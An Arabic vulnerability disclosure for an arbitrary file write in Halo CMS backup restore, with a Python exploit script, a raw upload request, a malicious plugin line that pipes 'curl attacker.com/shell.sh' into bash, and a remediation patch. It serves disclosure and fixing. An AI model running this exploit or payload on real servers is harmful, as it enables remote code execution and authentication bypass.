
إثبات مفهوم لاستغلال ثغرة كتابة ملفات عشوائية في استعادة النسخ الاحتياطي لنظام Halo CMS، مما يتيح تنفيذ أوامر عن بُعد (RCE) عبر استبدال ملف JAR الخاص بالإضافات أو تجاوز المصادقة.
توجد ثغرة حرجة في الكتابة التعسفية للملفات في وظيفة استعادة النسخ الاحتياطي في إصدارات Halo CMS حتى 2.25.4. تقوم طريقة restoreWorkdir() في MigrationServiceImpl.java بنسخ دليل workdir/ من أرشيف النسخ الاحتياطي المقدم من المستخدم مباشرة إلى دليل عمل تطبيق Halo (~/.halo2/) دون أي تحقق من أنواع الملفات أو حماية من اجتياز المسار أو فحص الروابط الرمزية. يمكن للمهاجم المصادق الذي يمتلك صلاحيات إدارة النسخ الاحتياطي إنشاء ملف ZIP ضار يحتوي على ملفات تعسفية في دليل workdir/، والتي ستُكتب إلى دليل عمل الخادم عند الاستعادة، مما قد يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE) عبر استبدال JAR الخاص بالإضافات أو تجاوز المصادقة عبر استبدال مفتاح RSA.
درجة CVSS v3.1: 8.8 (عالية)
متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-73 (التحكم الخارجي في اسم الملف أو المسار)
تقع الثغرة في طريقة restoreWorkdir() في MigrationServiceImpl.java (الأسطر 230-243):
private Mono<Void> restoreWorkdir(Path backupRoot) {
return Mono.<Void>create(sink -> {
try {
var workdir = backupRoot.resolve("workdir");
if (Files.exists(workdir)) {
copyRecursively(workdir, haloProperties.getWorkDir()); // VULNERABLE LINE
}
sink.success();
} catch (IOException e) {
sink.error(e);
}
}).subscribeOn(scheduler);
}
تقوم طريقة copyRecursively() (وهي FileSystemUtils من Spring) بنسخ متكرر دون:
.. في أسماء الملفاتيتم تشغيل الثغرة من خلال نقطة نهاية استعادة النسخ الاحتياطي:
POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data
تتبع عملية الاستعادة التسلسل التالي:
┌─────────────────────────────────────────────────────────────┐
│ MigrationServiceImpl.restore() │
│ 1. unpackBackup() → Extract ZIP to temp directory │
│ 2. restoreExtensions() → Restore extensions.data │
│ 3. restoreWorkdir() → Copy workdir/ to ~/.halo2/ │
│ ↑ Arbitrary files written to working directory │
└─────────────────────────────────────────────────────────────┘
يجب أن يحتوي ملف ZIP للنسخ الاحتياطي الضار على:
malicious-backup.zip
├── extensions.data # Required: Can be empty or contain valid JSONL
└── workdir/ # Required: Contents copied to ~/.halo2/
├── PWNED_BY_POC.txt # Proof of concept marker file
├── plugins/ # Plugin JARs for RCE
│ └── evil-plugin.jar # Malicious plugin
└── keys/ # RSA keys for authentication bypass
├── pat_id_rsa # Malicious private key
└── pat_id_rsa.pub # Malicious public key
يجب أن يكون ملف extensions.data صالحًا لكي تنجح restoreExtensions(). تتضمن التنسيقات الصالحة:
ملف فارغ: (محتوى فارغ)
سطر فارغ: \n (سطر جديد فقط)
JSONL صالح: كائن ExtensionStore واحد لكل سطر:
{"name": "/registry/test/dummy", "data": "e30=", "version": 1}
حيث تكون data محتوى مشفرًا بـ base64.
import zipfile
import io
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
# Empty extensions.data (passes restoreExtensions validation)
zf.writestr('extensions.data', '\n')
# Arbitrary file to write to ~/.halo2/
zf.writestr('workdir/PWNED_BY_POC.txt',
'Arbitrary file write confirmed!')
with open('malicious-backup.zip', 'wb') as f:
f.write(buf.getvalue())
عنوان إدارة النسخ الاحتياطي للواجهة الأمامية: http://ip:port/console/backup
POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"
null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"
malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"
application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed
<ZIP file binary content>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--

# On the Halo server
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt

~/.halo2/| ناقل الهجوم | الملف المستهدف | التأثير | الخطورة |
|---|---|---|---|
| استبدال JAR الإضافة | ~/.halo2/plugins/*.jar | تنفيذ التعليمات البرمجية عن بُعد | حرجة |
| استبدال مفتاح RSA | ~/.halo2/keys/pat_id_rsa | تجاوز المصادقة | حرجة |
| استبدال السمة | ~/.halo2/themes/* | XSS مخزنة | عالية |
| استبدال التكوين | ~/.halo2/*.yaml | تجاوز ضوابط الأمان | عالية |
يمكن للمهاجم استبدال JAR إضافة شرعية بأخرى ضارة تحتوي على:
@Extension
public class MaliciousExtension {
@PostConstruct
public void init() {
// Execute arbitrary command
Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
}
}
عند تحميل الإضافة، يتم تنفيذ التعليمات البرمجية الضارة بصلاحيات عملية Halo.
#!/usr/bin/env python3
"""
Halo CMS Backup Restore Arbitrary File Write PoC
Vulnerability: Backup Restore Arbitrary File Write
CVSS: 8.8 (High)
"""
import io
import sys
import zipfile
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target:8090"
SESSION = sys.argv[2] if len(sys.argv) > 2 else "SESSION=xxx"
def create_malicious_backup():
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('extensions.data', '\n')
zf.writestr('workdir/PWNED_BY_POC.txt',
'Halo backup restore arbitrary file write confirmed!')
buf.seek(0)
return buf
def exploit():
backup = create_malicious_backup()
url = f"{TARGET}/apis/console.api.migration.halo.run/v1alpha1/restorations"
files = {'file': ('backup.zip', backup, 'application/zip')}
headers = {'Cookie': SESSION}
r = requests.post(url, files=files, headers=headers, verify=False, timeout=60)
print(f"Status: {r.status_code}")
print(f"Response: {r.text[:300]}")
if r.status_code == 200:
print("\n[+] SUCCESS! Check: cat ~/.halo2/PWNED_BY_POC.txt")
if __name__ == "__main__":
exploit()
# Execute PoC
python3 poc.py http://192.168.49.128:8090 "SESSION=f3d4ae4a-c1ac-46ec-bfe8-82e3206ee232"
# On Halo server
cat ~/.halo2/PWNED_BY_POC.txt
أضف التحقق إلى طريقة restoreWorkdir():
private Mono<Void> restoreWorkdir(Path backupRoot) {
return Mono.<Void>create(sink -> {
try {
var workdir = backupRoot.resolve("workdir");
if (Files.exists(workdir)) {
// Validate no path traversal
checkDirectoryTraversal(backupRoot, workdir);
// Validate no symbolic links
Files.walkFileTree(workdir, new SimpleFileVisitor<Path>() {
@Override
public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
if (attrs.isSymbolicLink()) {
throw new SecurityException("Symbolic links not allowed");
}
return FileVisitResult.CONTINUE;
}
});
// Copy with validation
copyRecursively(workdir, haloProperties.getWorkDir());
}
sink.success();
} catch (IOException e) {
sink.error(e);
}
}).subscribeOn(scheduler);
}
application/src/main/java/run/halo/app/migration/impl/MigrationServiceImpl.javaهذا الإفصاح عن الثغرة مخصص لأغراض البحث الأمني فقط. المؤلف غير مسؤول عن أي إساءة استخدام لهذه المعلومات. احصل دائمًا على التفويض المناسب قبل اختبار الأنظمة بحثًا عن الثغرات.